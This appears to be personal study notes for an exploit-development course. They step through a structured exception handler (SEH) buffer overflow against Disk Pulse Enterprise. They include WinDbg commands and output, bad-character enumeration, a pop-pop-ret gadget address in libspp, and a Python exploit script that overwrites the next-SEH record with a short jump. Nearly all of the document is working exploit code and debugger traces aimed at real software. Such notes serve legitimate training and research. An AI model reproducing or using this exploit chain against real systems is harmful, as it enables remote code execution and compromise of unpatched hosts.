Generate a unique pattern and feed it to the vulnerable application.
Inspect the crashed thread ExceptionList in WinDbg to find the overwritten value:
Calculate the offset from buffer to the target _except_handler overwrite:
2. Confirm SEH Overflow
Confirm that you can actually control the Handler value - if true, it will be overwritten with d34dc0d3.
3. Enumerate the Bad Characters
Determine the bad characters set which when included causes unwanted behavior.
In case the bad characters cause the SEH overflow not happen at all, this command can help to speed up the debug routine:
In case the bad characters are truncated from memory, dump the bytes (EstablisherFrame - the second argument of the vulnerable ExecuteHandler) and examine them manually or use find-bad-chars.py by @epi052:
0:012> g; dds esp L3
01c7b8f8 77e06f82 ntdll!ExecuteHandler2+0x26
01c7b8fc 01c7ba00
01c7b900 01c7ff54
0:012> db 01c7ff54+8 L100
Or
0:012> .load pykd
0:012> !py C:\OSED\find-bad-chars.py -a 01c7ff54
$ msf-nasm_shell
nasm > pop eax
00000000 58 pop eax
nasm > pop ebx
00000000 5B pop ebx
nasm > pop ecx
00000000 59 pop ecx
nasm > pop edx
00000000 5A pop edx
nasm > pop esi
00000000 5E pop esi
nasm > pop edi
00000000 5F pop edi
nasm > pop ebp
00000000 5D pop ebp
nasm > ret
00000000 C3 ret
0:012> .load pykd.dll
0:012> !py C:\OSED\find-ppr.py -m libspp -b 00
[+] searching libspp for pop r32; pop r32; ret
[+] BADCHARS: \x00
[OK] libspp::0x101576c0: pop eax; pop ebx; ret ; \xC0\x76\x15\x10
...
PS > Restart-Service "Disk Pulse Enterprise"; .\DbgX.Shell.exe -pn diskpls.exe -c 'g; bp 0x101576c0; g'; sleep 2; python C:\sehof_ppr.py
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=101576c0 edx=77e06fa0 esi=00000000 edi=00000000
eip=101576c0 esp=01c4b8f8 ebp=01c4b918 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16450:
101576c0 58 pop eax
0:012> t
eax=77e06f82 ebx=00000000 ecx=101576c0 edx=77e06fa0 esi=00000000 edi=00000000
eip=101576c1 esp=01c4b8fc ebp=01c4b918 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16451:
101576c1 5b pop ebx
0:012> t
eax=77e06f82 ebx=01c4ba00 ecx=101576c0 edx=77e06fa0 esi=00000000 edi=00000000
eip=101576c2 esp=01c4b900 ebp=01c4b918 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
libspp!pcre_exec+0x16452:
101576c2 c3 ret
0:012> t
eax=77e06f82 ebx=01c4ba00 ecx=101576c0 edx=77e06fa0 esi=00000000 edi=00000000
eip=01c4ff54 esp=01c4b904 ebp=01c4b918 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
01c4ff54 41 inc ecx
0:012> dds eip L4
01c4ff54 41414141
01c4ff58 101576c0 libspp!pcre_exec+0x16450
01c4ff5c 43434343
01c4ff60 43434343
0:012> a
01c4ff54 jmp 0x01c4ff5c
01c4ff56
0:012> u eip L1
01c4ff54 eb06 jmp 01c4ff5c
sehof_nseh.py
#!/usr/bin/env python3
size = 6000
exp = LE(0x06eb9090) # (NSEH) jmp +06
exp += LE(0x101576c0) # (PPR) pop eax; pop ebx; ret
#exp += b'\x90\x90' # (NSEH) offset for the 'eb 06' part of the jmp instruction
filler = b'A' * (2499 - 4)
junk = b'C' * (size - len(filler + exp))
buf = filler + exp + junk
send(buf)